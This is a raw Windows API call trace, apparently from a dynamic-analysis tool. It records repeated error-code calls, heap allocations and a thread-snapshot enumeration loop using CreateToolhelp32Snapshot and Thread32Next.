[0210.876] SetLastError (dwErrCode=0x0)
[0210.876] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.877] GetLastError () returned 0x0
[0210.877] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x47) returned 0xed1768
[0210.878] GetLastError () returned 0x0
[0210.878] SetLastError (dwErrCode=0x0)
[0210.878] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.879] SetLastError (dwErrCode=0x0)
[0210.879] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.880] GetLastError () returned 0x0
[0210.880] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.881] SetLastError (dwErrCode=0x0)
[0210.881] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.882] SetLastError (dwErrCode=0x0)
[0210.882] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.883] SetLastError (dwErrCode=0x0)
[0210.883] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] GetLastError () returned 0x0
[0210.884] SetLastError (dwErrCode=0x0)
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x94) returned 0xed17b8
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1f) returned 0xed1858
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x2e) returned 0xed1880
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x37) returned 0xed18b8
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x3c) returned 0xed18f8
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x31) returned 0xed1940
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x14) returned 0xed1980
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x24) returned 0xed19a0
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0xd) returned 0xed19d0
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1d) returned 0xed19e8
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x31) returned 0xed1a10
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x15) returned 0xed1a50
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x17) returned 0xed1a70
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0xe) returned 0xed1a90
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0xa2) returned 0xed1aa8
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x3e) returned 0xed1b58
[0210.884] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1b) returned 0xed1ba0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1d) returned 0xed1bc8
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x49) returned 0xed1bf0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x12) returned 0xed1c48
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x18) returned 0xed1c68
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1b) returned 0xed1c88
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x24) returned 0xed1cb0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x29) returned 0xed1ce0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x1e) returned 0xed1d18
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x6b) returned 0xed1d40
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x17) returned 0xed1db8
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x14) returned 0xed1dd8
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0xf) returned 0xed1df8
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x16) returned 0xed1e10
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x2a) returned 0xed1e30
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x29) returned 0xed1e68
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x12) returned 0xed1ea0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x21) returned 0xed1ec0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x16) returned 0xed1ef0
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x22) returned 0xed1f10
[0210.885] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x12) returned 0xed1f40
[0210.895] HeapFree (in: hHeap=0xed0000, dwFlags=0x0, lpMem=0xed07c8 | out: hHeap=0xed0000) returned 1
[0210.895] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x80) returned 0xed1f60
[0210.895] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x8, Size=0x800) returned 0xed1fe8
[0210.895] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
[0210.896] RtlSizeHeap (HeapHandle=0xed0000, Flags=0x0, MemoryPointer=0xed1f60) returned 0x80
[0210.905] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x50) returned 0xed07c8
[0210.907] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x2c) returned 0xed0820
[0210.907] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x100) returned 0xed0858
[0210.908] RtlAllocateHeap (HeapHandle=0xed0000, Flags=0x0, Size=0x1c) returned 0xed0960
[0210.909] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x170
[0210.917] Thread32First (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.917] GetCurrentProcessId () returned 0x7d4
[0210.917] GetCurrentThreadId () returned 0x864
[0210.918] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.919] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.920] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.920] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.921] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.922] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.937] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.938] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.939] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.939] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.940] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.941] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.941] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.942] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.943] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.943] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.944] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.944] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.945] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.946] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.947] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.948] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.949] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.950] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.950] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.951] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.951] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.952] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.953] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.953] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.954] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.955] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.955] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.956] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.957] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.957] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.958] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.958] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.959] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.960] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.960] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.961] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.962] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.962] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.963] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.967] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.968] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.968] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.969] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.970] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.970] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.971] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.972] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.972] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.973] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.973] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.974] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.975] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.975] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.976] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.977] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.977] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.978] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.981] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.981] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.982] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.983] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.983] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.984] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.985] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.985] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.986] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.987] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.987] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.988] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.988] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.989] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.990] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.990] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.991] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.992] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.992] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.993] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.994] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.994] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.995] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.996] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.996] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.997] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.998] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.998] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.999] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0210.999] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.000] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.001] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.001] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.002] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.003] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.003] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.004] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.004] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.005] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.006] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.006] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.007] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.008] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.008] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.009] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.010] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.012] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.012] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.013] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.014] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.014] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.015] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.016] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.016] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.017] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.017] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.018] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.019] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.019] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.020] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.021] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.021] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.022] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.022] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.023] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.024] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.024] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.025] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.026] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.027] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.027] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.028] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.029] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.029] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.030] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.030] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.031] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.032] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.032] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.033] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.034] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.034] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.035] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.036] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.036] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.037] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.037] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.038] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.039] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.039] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.040] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.041] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.041] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.042] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.043] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.043] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.044] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.044] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.045] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.046] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.046] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.047] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.048] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.048] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.049] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.050] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.050] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.051] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.051] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.052] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.053] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.053] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.054] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.055] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.055] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.056] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.056] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.058] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.059] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.060] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.060] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.061] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.062] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.062] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.063] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.064] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.064] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.065] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.065] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.066] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.067] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.067] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.068] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.069] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.069] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.070] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.070] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.071] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.072] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.072] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.074] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.075] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.076] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.077] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.078] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.079] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.080] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.081] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.082] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.082] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.083] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.084] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.085] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.086] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.086] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.087] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
[0211.088] Thread32Next (hSnapshot=0x170, lpte=0x18e254) returned 1
